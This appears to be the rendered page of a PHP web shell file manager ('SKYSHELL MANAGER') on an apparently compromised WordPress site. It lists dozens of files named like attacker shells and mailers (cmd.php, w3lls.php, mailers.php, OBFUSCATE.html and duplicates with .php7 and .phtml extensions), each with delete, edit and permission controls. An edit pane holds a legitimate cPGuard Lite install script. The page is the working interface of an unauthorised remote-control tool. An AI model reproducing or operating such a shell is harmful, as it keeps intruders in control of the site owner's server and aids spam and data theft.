📁
SKYSHELL MANAGER
PHP v8.1.34
Create
Create
Path:
root
/
home
/
africainfos
/
Nazareth.israel.africa-infos.com
/
Name
Size
Perm
Actions
📁
.tmb
-
0755
🗑️
🏷️
🔒
📁
159264
-
0755
🗑️
🏷️
🔒
📁
289519
-
0755
🗑️
🏷️
🔒
📁
876911
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
wk
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📁
wpclone_backup
-
0755
🗑️
🏷️
🔒
📄
.webshell_scan_active.json
0.38 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
.webshell_scan_queue_55dae80fafb463c677b0550283aeeb211cd741aba4fd5d3090a7a63262bb588a.lst
105679.91 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
.webshell_scan_state_55dae80fafb463c677b0550283aeeb211cd741aba4fd5d3090a7a63262bb588a.json
0.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
OBFUSCATE.html
86 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
_.txt
0.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
adminfuns.php
173.77 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
cmd.php
35.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
d.php
35.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
database.php
159.32 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
database.php7
159.32 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
database.phtml
159.32 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
elish.php
53.54 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
elish.php7
53.54 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
elish.phtml
53.54 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
enum.php
52.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
enum.php7
52.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
enum.phtml
52.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
10.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
filefuns.php
5.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
function.php
4.98 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inc1.php
4.36 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inc2.php
0.64 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
0.4 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
license.txt
19.44 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
mailers.php
124.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
mailers.php7
124.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
mailers.phtml
124.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
php.php
70.78 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
readme.html
7.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
samurai_activity.log
0.41 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
test.html
86 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
test.php
211.92 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
test.phtml
211.92 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
test1.php7
211.92 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
txets.php
5.93 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
w3ll_protected_2025-10-25T07-11-52.html
160.57 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
w3lls.php
206.14 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
w3lls.php7
209.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
w3llscc - Copy.php7
174.5 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
w3llscc.php7
174.5 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
webshell_scan_batch_progress.log
63.85 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-activate.php
7.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-blog-header.php
0.34 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-class-canvas.php
10.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-class-constants.php
1.91 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-class-frame.php
27.84 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-class-query.php
10.46 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-class-response.php
123 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-class-schema.php
1.92 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-class-tokens.php
1.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-comments-post.php
2.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-conffq.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config-sample.php
3.26 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-cron.php
5.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-formatting.php
34.81 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-headre.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-links-opml.php
2.43 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-load.php
3.84 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-login.php
50.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
8.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-protection.php
10.8 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-settings.php
31.88 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-signup.php
33.81 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-templates.php
1.86 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-trackback.php
5.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
xmlrpc.php
3.13 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: cpguard_lite_install.sh
#!/bin/bash #Install script for cPGuard #Written by OPSSHIELD LLP https://www.opsshield.com echo "########################" echo "########################" echo "#####cPGuard manage script" echo "#####Written and maintained by https://www.opsshield.com" echo "#####Please email sales@opsshield.com for any questions regarding this software" echo "########################" echo "########################" sleep 1 function setos() { mkdir /opt/cpguard rm -rf /usr/local/src/cpg mkdir /usr/local/src/cpg if [ "$DISTRO" = "YUM" ]; then if [ "$OS" = "R6" ]; then if ! grep -w "fs.inotify.max_user_watches = 5000000" /etc/sysctl.conf >/dev/null 2>&1; then echo "fs.inotify.max_user_watches = 5000000" >> /etc/sysctl.conf sysctl -p > /dev/null 2>&1 fi if [ ! -f /etc/yum.repos.d/epel.repo ]; then yum -y install epel-release.noarch > /dev/null 2>&1 sed -i -e "s/enabled=1/enabled=0/g" /etc/yum.repos.d/epel.repo fi yum --enablerepo=epel -y install ipset rsync pcre2 json-c pcre libtool-ltdl rsync tar sqlite net-tools > /dev/null 2>&1 cd /usr/local/src/cpg wget https://get-cpg.nyc3.cdn.digitaloceanspaces.com/rpms6/cpg-php-fpm_8.1.12_x86_64.rpm > /dev/null 2>&1 wget https://get-cpg.nyc3.cdn.digitaloceanspaces.com/rpms6/cpg-clamav-libs_1.0_x86_64.rpm > /dev/null 2>&1 rpm -Uvh cpg-php-fpm_8.1.12_x86_64.rpm > /dev/null 2>&1 rpm -Uvh cpg-clamav-libs_1.0_x86_64.rpm > /dev/null 2>&1 mkdir /opt/cpguard/cpg-php-fpm/openssl/ssl/ cp -pr /etc/pki/tls/* /opt/cpguard/cpg-php-fpm/openssl/ssl/ ##DOWNLOAD AND INSTALL CL6 PACKAGES elif [ "$OS" = "R7" ]; then echo "fs.inotify.max_user_watches = 5000000" > /etc/sysctl.d/cpguard.conf sysctl -p /etc/sysctl.d/cpguard.conf > /dev/null 2>&1 if [ ! -f /etc/yum.repos.d/epel.repo ]; then yum -y install epel-release > /dev/null 2>&1 sed -i -e "s/enabled=1/enabled=0/g" /etc/yum.repos.d/epel.repo fi yum --enablerepo=epel -y install ipset rsync pcre2 pcre libtool-ltdl rsync tar openssl-libs sqlite net-tools > /dev/null 2>&1 yum --enablerepo=epel -y install compat-openssl10 > /dev/null 2>&1 cd /usr/local/src/cpg wget https://get-cpg.nyc3.cdn.digitaloceanspaces.com/rpms/cpg-php-fpm_8.1.12_x86_64.rpm > /dev/null 2>&1 wget https://get-cpg.nyc3.cdn.digitaloceanspaces.com/rpms/cpg-clamav-libs_1.0_x86_64.rpm > /dev/null 2>&1 elif [ "$OS" = "R9" ]; then echo "fs.inotify.max_user_watches = 5000000" > /etc/sysctl.d/cpguard.conf sysctl -p /etc/sysctl.d/cpguard.conf > /dev/null 2>&1 if [ ! -f /etc/yum.repos.d/epel.repo ]; then yum -y install epel-release > /dev/null 2>&1 sed -i -e "s/enabled=1/enabled=0/g" /etc/yum.repos.d/epel.repo fi yum --enablerepo=epel -y install ipset rsync pcre2 pcre libtool-ltdl rsync tar openssl-libs sqlite net-tools > /dev/null 2>&1 cd /usr/local/src/cpg wget https://get-cpg.nyc3.cdn.digitaloceanspaces.com/rpms9/cpg-php-fpm_8.1.12_x86_64.rpm > /dev/null 2>&1 wget https://get-cpg.nyc3.cdn.digitaloceanspaces.com/rpms9/cpg-clamav-libs_1.0_x86_64.rpm > /dev/null 2>&1 elif [ "$OS" = "AMZ2" ]; then echo "fs.inotify.max_user_watches = 5000000" > /etc/sysctl.d/cpguard.conf sysctl -p /etc/sysctl.d/cpguard.conf > /dev/null 2>&1 if [ ! -f /etc/yum.repos.d/epel.repo ]; then yum -y install epel-release > /dev/null 2>&1 sed -i -e "s/enabled=1/enabled=0/g" /etc/yum.repos.d/epel.repo fi yum --enablerepo=epel -y install ipset rsync pcre2 pcre libtool-ltdl rsync tar openssl-libs sqlite net-tools > /dev/null 2>&1 cd /usr/local/src/cpg wget https://get-cpg.nyc3.cdn.digitaloceanspaces.com/rpms/cpg-php-fpm_8.1.12_x86_64.rpm > /dev/null 2>&1 wget https://get-cpg.nyc3.cdn.digitaloceanspaces.com/rpms/cpg-clamav-libs_1.0_x86_64.rpm > /dev/null 2>&1 fi cd /usr/local/src/cpg rpm -Uvh cpg-php-fpm_8.1.12_x86_64.rpm --force > /dev/null 2>&1 rpm -Uvh cpg-clamav-libs_1.0_x86_64.rpm --force > /dev/null 2>&1 if [ -f /opt/cpguard/cpg-php-fpm/sbin/php-fpm ] && [ -f /opt/cpguard/cpg-clamav/lib64/libclamav.so ]; then echo -ne "\r${green} =Installed dependency packages ${NC}" echo -ne '\n' else echo -ne "\r${red} =Could not install dependency packages...please contact support ${NC}" echo -ne '\n' exit fi if [ -f /home/interworx/bin/iworx-web ]; then yum install interworx-cli -y > /dev/null 2>&1 fi elif [ "$DISTRO" = "DEB" ]; then echo "fs.inotify.max_user_watches = 5000000" > /etc/sysctl.d/cpguard.conf sysctl -p /etc/sysctl.d/cpguard.conf > /dev/null 2>&1 if [ "$OS" = "D10" ]; then DEBIAN_FRONTEND=noninteractive apt-get install ipset libpcre3 libpcre3-dev libpcre2-8-0 libltdl-dev libltdl7 wget rsync tar sqlite3 openssl curl libmhash2 lbzip2 net-tools libonig5 -y > /dev/null 2>&1 cd /usr/local/src/cpg wget https://get-cpg.nyc3.cdn.digitaloceanspaces.com/debs/cpg-php-fpm_8.1.12_x86_64.deb > /dev/null 2>&1 wget https://get-cpg.nyc3.cdn.digitaloceanspaces.com/debs/cpg-clamav-libs_1.0_x86_64.deb > /dev/null 2>&1 elif [ "$OS" = "U18" ]; then DEBIAN_FRONTEND=noninteractive apt-get install ipset libpcre3 libpcre3-dev libpcre2-8-0 libltdl-dev wget rsync tar sqlite3 openssl curl libmhash2 lbzip2 net-tools libltdl7 -y > /dev/null 2>&1 cd /usr/local/src/cpg wget https://get-cpg.nyc3.cdn.digitaloceanspaces.com/debs9/cpg-php-fpm_8.1.12_x86_64.deb > /dev/null 2>&1 wget https://get-cpg.nyc3.cdn.digitaloceanspaces.com/debs9/cpg-clamav-libs_1.0_x86_64.deb > /dev/null 2>&1 elif [ "$OS" = "U22ARM" ]; then DEBIAN_FRONTEND=noninteractive apt-get install ipset libpcre3 libpcre3-dev libpcre2-8-0 libltdl-dev libltdl7 wget rsync tar sqlite3 openssl curl libmhash2 lbzip2 net-tools libonig5 -y > /dev/null 2>&1 cd /usr/local/src/cpg wget https://get-cpg.nyc3.cdn.digitaloceanspaces.com/debs/arm/ubuntu2204/cpg-php-fpm_8.1.12_x86_64.deb > /dev/null 2>&1 wget https://get-cpg.nyc3.cdn.digitaloceanspaces.com/debs/arm/ubuntu2204/cpg-clamav-libs_1.0_x86_64.deb > /dev/null 2>&1 fi dpkg --force-all -i cpg-php-fpm_8.1.12_x86_64.deb > /dev/null 2>&1 dpkg --force-all -i cpg-clamav-libs_1.0_x86_64.deb > /dev/null 2>&1 if lsb_release -d | grep 'Ubuntu 22\|bookworm' > /dev/null; then if [ "$OS" = "U22ARM" ]; then ln -s /opt/cpguard/cpg-php-fpm/openssl/lib/libssl.so.1.1 /lib/aarch64-linux-gnu/ ln -s /opt/cpguard/cpg-php-fpm/openssl/lib/libcrypto.so.1.1 /lib/aarch64-linux-gnu/ else ln -s /opt/cpguard/cpg-php-fpm/openssl/lib/libssl.so.1.1 /lib/x86_64-linux-gnu/ ln -s /opt/cpguard/cpg-php-fpm/openssl/lib/libcrypto.so.1.1 /lib/x86_64-linux-gnu/ fi fi if [ -f /opt/cpguard/cpg-php-fpm/sbin/php-fpm ] && [ -f /opt/cpguard/cpg-clamav/lib/libclamav.so ]; then echo -ne "\r${green} =Installed dependency packages ${NC}" echo -ne '\n' else echo -ne "\r${red} =Could not install dependency packages...please contact support ${NC}" echo -ne '\n' exit fi fi } function setconf() { if [ "$OS" = "R6" ]; then TMEZO=`cut -d '"' -f2 < /etc/sysconfig/clock | /usr/bin/head -1` sed -i -e "s#; http://php.net/date.timezone#date.timezone = "$TMEZO"#g" /opt/cpguard/cpg-php-fpm/etc/php.ini else TMEZONE=`timedatectl | grep -oP 'zone\: \K\w[^\s]+'` if [ $TMEZONE = "n/a" ] || [ $TMEZONE = "Host" ]; then DTMZONE=`date +%:z | awk -F":" {'print $1'}` if [[ "$DTMZONE" == +* ]]; then DTMZONE1=`echo "${DTMZONE:1:1}"` DTMZONE2=`echo "${DTMZONE:2:1}"` if [ $DTMZONE1 -eq "0" ]; then TMEZONE=Etc/GMT"+"$DTMZONE2 else TMEZONE=Etc/GMT$DTMZONE fi elif [[ "$DTMZONE" == -* ]]; then DTMZONE1=`echo "${DTMZONE:1:1}"` DTMZONE2=`echo "${DTMZONE:2:1}"` if [ $DTMZONE1 -eq "0" ]; then TMEZONE=Etc/GMT"-"$DTMZONE2 else TMEZONE=Etc/GMT$DTMZONE fi else echo -ne "\r${red} Cannot find the system timezone...please contact support... ${NC}" echo -ne '\n' exit fi sed -i -e "s#; http://php.net/date.timezone#date.timezone = "$TMEZONE"#g" /opt/cpguard/cpg-php-fpm/etc/php.ini else sed -i -e "s#; http://php.net/date.timezone#date.timezone = "$TMEZONE"#g" /opt/cpguard/cpg-php-fpm/etc/php.ini fi fi /usr/sbin/useradd cpguard -s /bin/false -M -d /opt/cpguard -r /usr/sbin/usermod -L cpguard chown -R cpguard:cpguard /opt/cpguard/ } function installfiles() { cd /usr/local/src/cpg wget https://get-cpg.nyc3.cdn.digitaloceanspaces.com/latest/lite/cpguard-lite.tar.gz > /dev/null 2>&1 wget https://get-cpg.nyc3.cdn.digitaloceanspaces.com/latest/etc_cpguard.tar.gz > /dev/null 2>&1 tar -xvzf cpguard-lite.tar.gz > /dev/null 2>&1 tar -xvzf etc_cpguard.tar.gz > /dev/null 2>&1 mv cpguard-lite /opt/cpguard/app mkdir /etc/cpguard rsync -avz cpguard/ /etc/cpguard/ > /dev/null 2>&1 ln -s /opt/cpguard/app/cli/cpgcli /usr/bin/cpgcli chmod 755 /opt/cpguard/app/cli/cpgcli if [ -f /etc/debian_version ]; then if [ "$OS" = "U22ARM" ]; then mv /etc/cpguard/scripts/cpguard_arm /etc/cpguard/scripts/cpguard mv /etc/cpguard/scripts/fscan_arm /etc/cpguard/scripts/fscan mv /etc/cpguard/scripts/fscanfile_arm /etc/cpguard/scripts/fscanfile mv /etc/cpguard/scripts/mscan_arm /etc/cpguard/scripts/mscan mv /etc/cpguard/scripts/daily_arm /etc/cpguard/scripts/daily mv /etc/cpguard/scripts/weekly_arm /etc/cpguard/scripts/weekly chmod 755 /etc/cpguard/scripts/cpguard chmod 755 /etc/cpguard/scripts/fscan chmod 755 /etc/cpguard/scripts/fscanfile chmod 755 /etc/cpguard/scripts/mscan chmod 755 /etc/cpguard/scripts/daily chmod 755 /etc/cpguard/scripts/weekly else mv /etc/cpguard/scripts/cpguard_deb /etc/cpguard/scripts/cpguard mv /etc/cpguard/scripts/fscan_deb /etc/cpguard/scripts/fscan mv /etc/cpguard/scripts/fscanfile_deb /etc/cpguard/scripts/fscanfile mv /etc/cpguard/scripts/mscan_deb /etc/cpguard/scripts/mscan mv /etc/cpguard/scripts/daily_deb /etc/cpguard/scripts/daily mv /etc/cpguard/scripts/weekly_deb /etc/cpguard/scripts/weekly chmod 755 /etc/cpguard/scripts/cpguard chmod 755 /etc/cpguard/scripts/fscan chmod 755 /etc/cpguard/scripts/fscanfile chmod 755 /etc/cpguard/scripts/mscan chmod 755 /etc/cpguard/scripts/daily chmod 755 /etc/cpguard/scripts/weekly fi fi touch /etc/cpguard/cpguard.log touch /etc/cpguard/whitelistusers.txt touch /etc/cpguard/userwatch.txt touch /etc/cpguard/whitelistfiles.txt touch /etc/cpguard/blacklistfiles.txt touch /etc/cpguard/watchlist.txt echo "mysql.sock" >> /etc/cpguard/whitelistfiles.txt echo "plugins/getastra/astra/libraries/plugins/astra-gk/var/db" >> /etc/cpguard/whitelistfiles.txt echo "1.sh" >> /etc/cpguard/blacklistfiles.txt echo "libworker.so" >> /etc/cpguard/blacklistfiles.txt mkdir -p /opt/cpguard/common touch /opt/cpguard/tmpdb.txt touch /opt/cpguard/blacklistips.txt touch /opt/cpguard/whitelistips.txt touch /opt/cpguard/whitelistdomains.txt touch /etc/cpguard/conf/location.dat chmod 755 /etc/cpguard/scripts/meSamples.php chmod 755 /etc/cpguard/scripts/bforce.php chown cpguard:cpguard /etc/cpguard/blacklistfiles.txt chown cpguard:cpguard /etc/cpguard/whitelistfiles.txt chown cpguard:cpguard /etc/cpguard/whitelistusers.txt /opt/cpguard/cpg-php-fpm/bin/php /opt/cpguard/app/setup/install.php mv /etc/cpguard/cron /etc/cron.d/cpguard chown -R cpguard:cpguard /opt/cpguard chown cpguard:cpguard /etc/cpguard/conf/main.conf cp -p /opt/cpguard/app/setup/databases/schedule.db /opt/cpguard/app/data/schedule.db chmod 750 /opt/cpguard/app/data if [ -f /usr/sbin/getenforce ]; then CPGSE=`/usr/sbin/getenforce` if [ $CPGSE = "Enforcing" ]; then semanage fcontext -a -t system_cron_spool_t "/etc/cron.d/cpguard" restorecon -RFv /etc/cron.d/cpguard fi fi } csfwhitelitips () { if [ -f /usr/sbin/csf ]; then sed -i -e "/csf.ignore/a Include \/etc\/cpguard\/cpgips.txt" /etc/csf/csf.allow echo 'Include /etc/cpguard/cpgips.txt' >> /etc/csf/csf.ignore echo "user:cpguard" >> /etc/csf/csf.pignore service lfd restart > /dev/null 2>&1 echo -ne "\r${green} =Whitelited IPs in CSF${NC}" echo -ne '\n' fi } controlpanelfiles () { if [ "$CP" = "cPanel" ]; then if [ ! -d /var/cpanel/apps ]; then mkdir /var/cpanel/apps chmod 755 /var/cpanel/apps fi cd /usr/local/src/cpg wget https://get-cpg.nyc3.cdn.digitaloceanspaces.com/latest/lite/cpguard-lite-ui.tar.gz > /dev/null 2>&1 tar -xvzf cpguard-lite-ui.tar.gz > /dev/null 2>&1 mkdir /usr/local/cpanel/whostmgr/cgi/cpguard rsync -avz cpguard-lite-ui/* /usr/local/cpanel/whostmgr/cgi/cpguard/ > /dev/null 2>&1 echo "Resgistering WHM Plugin..." /usr/local/cpanel/bin/register_appconfig /etc/cpguard/whm.cpguard.conf > /dev/null elif [ "$CP" = "DirectAdmin" ]; then cd /usr/local/src/cpg wget https://get-cpg.nyc3.cdn.digitaloceanspaces.com/latest/lite/cpguard-lite-ui.tar.gz > /dev/null 2>&1 tar -xvzf cpguard-lite-ui.tar.gz > /dev/null 2>&1 mkdir -p /usr/local/directadmin/plugins/cpguard/ mkdir -p /usr/local/directadmin/plugins/cpguard/images/admin rsync -avz cpguard-lite-ui/directadmin-base/ /usr/local/directadmin/plugins/cpguard/ > /dev/null 2>&1 rsync -avz cpguard-lite-ui/ /usr/local/directadmin/plugins/cpguard/ > /dev/null 2>&1 rsync -avz cpguard-lite-ui/static/ /usr/local/directadmin/plugins/cpguard/images/admin/ > /dev/null 2>&1 rm -f /usr/local/directadmin/plugins/cpguard/users/* rm -f /usr/local/directadmin/plugins/cpguard/reseller/* rm -f /usr/local/directadmin/plugins/cpguard/admin/* rm -f /usr/local/directadmin/plugins/cpguard/hooks/* rsync -avz cpguard-lite-ui/directadmin-base/hooks_lite/* /usr/local/directadmin/plugins/cpguard/hooks/ > /dev/null 2>&1 cp cpguard-lite-ui/index.html /usr/local/directadmin/plugins/cpguard/admin/ cp cpguard-lite-ui/ajax.raw /usr/local/directadmin/plugins/cpguard/admin/ cp cpguard-lite-ui/directadmin.php /usr/local/directadmin/plugins/cpguard/admin/ chown -R admin:admin /usr/local/directadmin/plugins/cpguard chown -R admin:admin /opt/cpguard chown -R admin:admin /etc/cpguard chmod 755 /usr/local/directadmin/plugins/cpguard/admin/index.html chmod 755 /usr/local/directadmin/plugins/cpguard/admin/ajax.raw chmod 755 /usr/local/directadmin/plugins/cpguard/admin/directadmin.php elif [ "$CP" = "Interworx" ]; then cd /usr/local/src/cpg mkdir /opt/cpguard/ui wget https://get-cpg.nyc3.cdn.digitaloceanspaces.com/latest/lite/cpguard-lite-ui.tar.gz > /dev/null 2>&1 tar -xvzf cpguard-lite-ui.tar.gz > /dev/null 2>&1 #mv cpguard-lite-ui/interworx ~iworx/plugins/cpguard > /dev/null 2>&1 rsync -avz cpguard-lite-ui/ /opt/cpguard/ui/ > /dev/null 2>&1 #su -m iworx -c'mkdir -p /home/interworx/html/plugins/assets' > /dev/null 2>&1 #su -m iworx -c'ln -s /opt/cpguard/ui/static /home/interworx/html/plugins/assets/cpguard' > /dev/null 2>&1 /opt/cpguard/cpg-php-fpm/bin/php /opt/cpguard/app/server/interworx/setup.php chown -R iworx.iworx /opt/cpguard chown -R iworx.iworx /etc/cpguard chown -R iworx.iworx ~iworx/plugins/cpguard #/usr/bin/nodeworx -u -n -c Plugins -a edit --plugin_name cpguard --status 1 elif [ "$CP" = "Webuzo" ]; then cd /usr/local/src/cpg mkdir /opt/cpguard/ui wget https://get-cpg.nyc3.cdn.digitaloceanspaces.com/latest/lite/cpguard-lite-ui.tar.gz > /dev/null 2>&1 tar -xvzf cpguard-lite-ui.tar.gz > /dev/null 2>&1 rsync -avz cpguard-lite-ui/ /opt/cpguard/ui/ > /dev/null 2>&1 /opt/cpguard/cpg-php-fpm/bin/php /opt/cpguard/app/server/webuzo/setup.php fi } #Main red='\e[0;31m' green='\e[0;32m' blue='\e[4;34m' NC='\e[0m' OS="" CP="" DISTRO="" if /bin/uname -a | grep aarch64 > /dev/null 2>&1; then ARC="aarch64" else ARC="x86_64" fi if [ -d /opt/cpguard/app ]; then echo -ne "\r${red} cPGuard app files still exists on this server. Please uninstall cPGuard before attempting the installation ${NC}" echo -ne '\n' exit fi if [ -z "$1" ]; then echo -ne "\r${red} License key is missing...please add your license key into the installer command ${NC}" echo -ne '\n' exit else LICKEY=$1 fi if [ ! -z "$2" ]; then if [ ! -f "$2" ]; then echo -ne "\r${red} "Inavlid INI file path..." ${NC}" echo -ne '\n' exit fi fi echo "+Detecting Operating System...." if [ -f /etc/redhat-release ] && [ ! -f /etc/os-release ]; then if cat /etc/redhat-release | grep CloudLinux > /dev/null; then OS="R6" DISTRO="YUM" else echo -ne "\r${red} Unsupported OS...please check the system requirements for cPGuard ${NC}" echo -ne '\n' exit fi elif [ -f /etc/redhat-release ] && [ -f /etc/os-release ]; then if cat /etc/os-release | grep VERSION_ID | grep '"9' > /dev/null; then OS="R9" DISTRO="YUM" else OS="R7" DISTRO="YUM" fi elif [ ! -f /etc/redhat-release ] && [ -f /etc/os-release ] && [ ! -f /etc/debian_version ]; then if cat /etc/os-release | grep VERSION_ID | grep '"2' > /dev/null; then OS="AMZ2" DISTRO="YUM" fi elif [ -f /etc/debian_version ]; then DISTRO="DEB" if lsb_release -d | grep 'Linux 9.' > /dev/null; then echo -ne "\r${red} Unsupported OS...please check the system requirements for cPGuard ${NC}" echo -ne '\n' exit elif lsb_release -d | grep 'Ubuntu 18' > /dev/null; then OS="U18" elif [ $ARC == "aarch64" ]; then if lsb_release -d | grep 'Ubuntu 22\|bookworm' > /dev/null; then OS="U22ARM" else echo -ne "\r${red} Unsupported OS...please check the system requirements for cPGuard ${NC}" echo -ne '\n' exit fi else OS="D10" fi else echo -ne "\r${red} Unsupported OS...please check the system requirements for cPGuard ${NC}" echo -ne '\n' exit fi echo -ne "\r${green} =Identified the Server Operating System ${NC}" echo -ne '\n' echo "+Installing dependancy packages and setup OS" sleep 2 setos echo -ne "\r${green} =OS Setup is completed ${NC}" echo -ne '\n' echo "+Confiuring cPGuard packages..." setconf echo -ne "\r${green} = cPGuard package configuration is completed ${NC}" echo -ne '\n' echo "+Detecting Control Panel..." if [ -f /usr/local/cpanel/cpsrvd ]; then CP="cPanel" elif [ -f /usr/local/directadmin/directadmin ]; then CP="DirectAdmin" elif [ -f /usr/bin/nodeworx ]; then CP="Interworx" elif [ -d /var/webuzo ]; then CP="Webuzo" elif [ ! -z "$2" ]; then cp -p $2 /opt/cpguard/cpguard.ini else echo -ne "\r${red} Standalone configuration platform...please follow the configuration if required to complete installing cPGuard ${NC}" echo -ne '\n' fi if [ ! -z $CP ]; then echo -ne "\r${green} =Identified $CP Control Panel ${NC}" echo -ne '\n' fi echo "+Installing Files..." sleep 2 installfiles echo -ne "\r${green} =Installed cPGuard Files ${NC}" echo -ne '\n' echo "+Whitelisting OPSSHIELD IPs in CSF..." sleep 2 csfwhitelitips echo -ne '\n' if [ ! -z $CP ]; then echo "+Installing files for $CP.. " sleep 2 controlpanelfiles echo -ne "\r${green} =Installed files for $CP ${NC}" echo -ne '\n' fi echo "" echo "" echo -ne "\r${red} ================================================= ${NC}" echo -ne '\n' echo "+Installing License..." echo -ne "\r${green} ================================================= ${NC}" echo "" sleep 2 cpgcli license --key $LICKEY echo -ne "\r${green} ================================================= ${NC}" echo -ne '\n' echo -ne "\r${red} ================================================= ${NC}" echo "" echo "" echo -ne "\r${green}cPGuard Lite installation has been completed on your server... \n If you need any assistance, please feel free to reach our support team ${NC}" echo -ne '\n'
Save